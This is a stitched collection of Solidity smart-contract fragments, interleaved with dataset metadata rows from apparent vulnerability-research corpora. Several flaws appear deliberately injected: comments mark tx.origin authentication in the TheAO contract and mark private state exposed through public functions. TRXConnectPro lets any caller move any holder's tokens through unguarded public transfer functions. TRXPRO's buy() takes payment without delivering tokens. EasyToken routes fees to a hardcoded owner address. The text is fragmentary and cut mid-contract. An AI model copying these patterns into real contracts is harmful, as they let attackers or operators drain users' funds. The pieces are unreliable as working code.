uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
function transferOwnership(address _theAO) public {
require (tx.origin == theAO); //inject USING TX ORIGIN FOR AUTHENTICATION
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public {
require (tx.origin == theAO); //inject USING TX ORIGIN FOR AUTHENTICATION
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
contract TAOCurrency is TheAO {
using SafeMath for uint256;
// Public variables of the contract
string public name;
string public symbol;
uint8 public decimals;
// To differentiate denomination of TAO Currency
uint256 public powerOfTen;
uint256 public totalSupply;
// This creates an array with all balances
// address is the address of nameId, not the eth public address
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
// address is the address of TAO/Name Id, not eth public address
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
// address is the address of TAO/Name Id, not eth public address
event Burn(address indexed from, uint256 value);
constructor (string memory _name, string memory _symbol, address _nameTAOPositionAddress) public {
name = _name; // Set the name for display purposes
symbol = _symbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
function mint(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mint(target, mintedAmount);
return true;
}
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist isNameOrTAO(_from) returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function _mint(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
}
contract Pathos is TAOCurrency {
constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress)
TAOCurrency(_name, _symbol, _nameTAOPositionAddress) public {}
}
| 279,135 | 12,218 |
65f03769a46509ed301623e49e5d482296325f530ba93918665577aead9f3544
| 13,304 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x492968b2cd3127b38ededd5220e7e35a810fa746.sol
| 3,476 | 12,440 |
pragma solidity ^0.4.25;
contract EasyToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "EasyToken";
string public symbol = "ET";
address constant internal boss = 0xc3c631A7426ad0bb8022408Cdb8882B5129d8A47;
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint8 constant internal ownerFee1 = 10;
uint8 constant internal ownerFee2 = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
return purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_dividends, ownerFee2), 100);
_dividends = SafeMath.sub(_dividends, forBoss);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_undividedDividends, ownerFee1), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], _referralBonus);
}
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 210,113 | 12,219 |
7dbf814203716ee272af1c6e81ed61b68e378264690a4284ba8634d9e1d281cc
| 16,759 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGyDk6m3nkuG5jcckkyLS1iD5RXdAPuPzB_TRXPRO.sol
| 3,945 | 15,276 |
//SourceUnit: contract2.sol
pragma solidity >=0.4.25 <=0.6.12;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferToMany(address _from,address[] calldata _to, uint _totalValue, uint[] calldata _value) external returns (bool success);
function transferFromToken(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function tokenName() external view returns (string memory);
function tokenSymbol() external view returns (string memory);
function tokenDecimals() external view returns (uint8);
function tokenTotalSupply() external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Stake {
}
interface Reserve {
}
contract TRXConnectPro is IERC20 {
string public constant name = "TRX Connect Pro";
string public constant symbol = "TCP";
uint8 public constant decimals = 8;
uint256 totalSupply_ = 10000000 * 10**uint(decimals);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
using SafeMath for uint256;
constructor(Stake _StakeToken,Reserve _ReserveTokenCon) public {
balances[msg.sender] = totalSupply_*30/100;
balances[address(_StakeToken)] = totalSupply_*50/100;
balances[address(_ReserveTokenCon)] = totalSupply_*20/100;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address tokenOwner) public view returns (uint256) {
return balances[tokenOwner];
}
function tokenName() public view returns (string memory) {
return name;
}
function tokenSymbol() public view returns (string memory) {
return symbol;
}
function tokenDecimals() public view returns (uint8) {
return decimals;
}
function tokenTotalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address receiver, uint256 numTokens) public returns (bool) {
require(numTokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(numTokens);
balances[receiver] = balances[receiver].add(numTokens);
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
function _transferToMany(address _from, address[] memory _tos, uint _totalValue,uint[] memory _values) internal {
// Prevent transfer to 0x0 address. Use burn() instead
// Check if the sender has enough
require(balances[_from] >= _totalValue,'No enough tokens!');
// applying the loop
for(uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
uint _value = _values[i];
// Check for overflows
require(balances[_to] + _value >= balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
}
}
function transferToMany(address _sender,address[] memory _to, uint _totalValue, uint[] memory _value) public returns (bool success) {
_transferToMany(_sender, _to,_totalValue, _value);
return true;
}
function transferFromToken(address sender, address receiver,uint256 numTokens) public returns (bool) {
require(numTokens <= balances[sender]);
balances[sender] = balances[sender].sub(numTokens);
balances[receiver] = balances[receiver].add(numTokens);
emit Transfer(sender, receiver, numTokens);
return true;
}
function approve(address delegate, uint256 numTokens) public returns (bool) {
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public view returns (uint) {
return allowed[owner][delegate];
}
function transferFrom(address owner, address buyer, uint256 numTokens) public returns (bool) {
require(numTokens <= balances[owner], "owner token balance is low");
require(numTokens <= allowed[owner][msg.sender],"token amount is not apprroved");
balances[owner] = balances[owner].sub(numTokens);
allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);
balances[buyer] = balances[buyer].add(numTokens);
emit Transfer(owner, buyer, numTokens);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
totalSupply_ -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowed
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowed
totalSupply_ -= _value; // Update totalSupply_
emit Burn(_from, _value);
return true;
}
}
contract StakerContract is Stake{
string public name;
constructor() public {
name = 'StakeContract';
}
}
contract ReserveTokenContract is Reserve{
string public name;
constructor() public {
name = 'ReserveTokenContract';
}
}
contract TRXPRO {
event Bought(uint256 amount);
event Sold(uint256 amount);
event staked(address _staker,uint256 amount);
event OwnershipTransferred(address indexed _from, address indexed _to);
IERC20 public token;
Stake public StakeToken;
Reserve public ReserveTokenCon;
uint8 public constant trxDecimals = 6;
address public owner;
address public newOwner;
address public RoiOwner;
uint256 public token_rate;
uint256 public swap_fees;
uint256 public RoiOwnerPercent;
uint256 public unstakeFee; // fees in percent
uint256 private key;
uint256 private referralKey;
uint256 private matchingRoiKey;
uint256 private unstakeKey;
uint256 private reserveTokenkey;
modifier onlyOwner {
require(msg.sender == owner,'Invalid Owner!');
_;
}
modifier onlyRoiOwner {
require(msg.sender == RoiOwner,'Invalid ROI Owner!');
_;
}
modifier onlyAuthorized(uint256 _key) {
require(key == _key,'Invalid key!');
_;
}
modifier onlyreferralAuthorized(uint256 _key) {
require(referralKey == _key,'Invalid key!');
_;
}
modifier onlyMatchingRoiAuthorized(uint256 _matchingRoiKey) {
require(matchingRoiKey == _matchingRoiKey,'Invalid key!');
_;
}
modifier onlyUnstakeAuthorized(uint256 _unstakeKey) {
require(unstakeKey == _unstakeKey,'Invalid key!');
_;
}
modifier onlyreserveTokenkeyAuthorized(uint256 _reserveTokenkey) {
require(reserveTokenkey == _reserveTokenkey,'Invalid key!');
_;
}
mapping(address=>uint256) public totalStaked;
constructor(address _owner,uint256 _key,uint256 _referralKey,uint256 _matchingRoiKey,uint256 _unstakeKey,uint256 _reserveTokenkey,address _RoiOwner) public {
StakeToken = new StakerContract();
ReserveTokenCon = new ReserveTokenContract();
token = new TRXConnectPro(StakeToken,ReserveTokenCon);
owner = _owner;
token_rate = 200000000;
swap_fees = 1;
unstakeFee = 10;
key = _key;
RoiOwner = _RoiOwner;
RoiOwnerPercent = 1;
referralKey = _referralKey;
matchingRoiKey = _matchingRoiKey;
unstakeKey = _unstakeKey;
reserveTokenkey = _reserveTokenkey;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function transferRoiOwnership(address _RoiOwner) public onlyRoiOwner {
RoiOwner = _RoiOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function changeKey(uint256 _key) public onlyOwner {
key = _key;
}
function changeReferralKey(uint256 _key) public onlyOwner {
referralKey = _key;
}
function changeUnstakekey(uint256 _key) public onlyOwner {
unstakeKey = _key;
}
function changeReserveTokenkeykey(uint256 _key) public onlyOwner {
reserveTokenkey = _key;
}
function changeTokenRate(uint256 _token_rate) public onlyOwner {
token_rate = _token_rate;
}
function buy(uint256 _token,address _reciever) public payable{
uint256 amountTobuy = _token;
uint256 dexBalance = token.balanceOf(address(this));
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
address(uint160(RoiOwner)).transfer(msg.value*RoiOwnerPercent/200);
}
function transferTokenBuy(uint256 _key, uint256 _token,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
uint256 amountTobuy = _token;
uint256 dexBalance = token.balanceOf(address(this));
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
token.transfer(_reciever, amountTobuy);
emit Bought(amountTobuy);
}
function swap(uint256 amount,address _reciever) public payable {
require(amount > 0, "You need to sell at least some tokens");
uint256 senderBalance = token.balanceOf(_reciever);
require(senderBalance >= amount, "Sender token balance is low");
// send the token
token.transferFromToken(_reciever,address(this), amount);
}
function swapTrx(uint256 _key,uint256 _TrxAmount,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function ownertrnasfertTrx(uint256 _TrxAmount) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
(msg.sender).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function withdrawTrx(uint256 _TrxAmount,address _reciever) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
}
function stake(uint256 amount,address _to) public payable {
require(amount > 0, "You need to stake at least some tokens");
uint256 senderBalance = token.balanceOf(_to);
require(senderBalance >= amount, "Sender token balance is low");
// send the token from sender to staker
token.transferFromToken(_to,address(StakeToken), amount);
if(totalStaked[_to]>=0){
totalStaked[_to] = totalStaked[_to]+amount;
}else{
totalStaked[_to] = amount;
}
emit staked(_to,amount);
}
function unstake(uint256 _key,uint256 amount,address _to) public payable onlyRoiOwner onlyUnstakeAuthorized(_key) {
require(amount > 0, "You need to unstake at least some tokens");
uint256 senderTotalStaked = totalStaked[_to];
require(senderTotalStaked >= amount, "Sender token balance is low");
uint256 returnAmount = amount- amount*unstakeFee/100;
// send the token from staker to sender
token.transferFromToken(address(StakeToken),_to, returnAmount);
totalStaked[_to] = totalStaked[_to]-amount;
emit staked(_to,amount);
}
function balanceOf(address tokenOwner) public view returns (uint256) {
return token.balanceOf(tokenOwner);
}
function balanceOfContract() public view returns (uint256) {
return address(this).balance;
}
function tokenName() public view returns (string memory) {
return token.tokenName();
}
function tokenSymbol() public view returns (string memory) {
return token.tokenSymbol();
}
function tokenDecimals() public view returns (uint8) {
return token.tokenDecimals();
}
function tokenTotalSupply() public view returns (uint256) {
return token.tokenTotalSupply();
}
// Send the referral commission
function transferReferralComm(uint256 _referralKey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreferralAuthorized(_referralKey)returns (bool success) {
token.transferToMany(address(StakeToken), _to,_totalValue, _value);
return true;
}
// Send the matching commission and roi
function transferMatchingCommAndRoi(uint256 _matchingRoiKey,address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyMatchingRoiAuthorized(_matchingRoiKey) returns (bool success) {
token.transferToMany(address(StakeToken), _to,_totalValue, _value);
return true;
}
// Send the reserve token
function transferReserveToken(uint256 _ReserveTokenkey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreserveTokenkeyAuthorized(_ReserveTokenkey) returns (bool success) {
token.transferToMany(address(ReserveTokenCon), _to,_totalValue, _value);
return true;
}
}
| 299,551 | 12,220 |
91b7194305e9f8ce5cd0bc2549bf68a8b90e162cb2fbc20065486039de339d38
| 17,755 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/NonpublicVarAccessdByPublicFunc/manualCheck/0x3a2d0e5773dd6a345eda543b14c6ca6b51c6cc0a_nonpublicVarAccessdByPublicFunc.sol
| 4,445 | 17,363 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
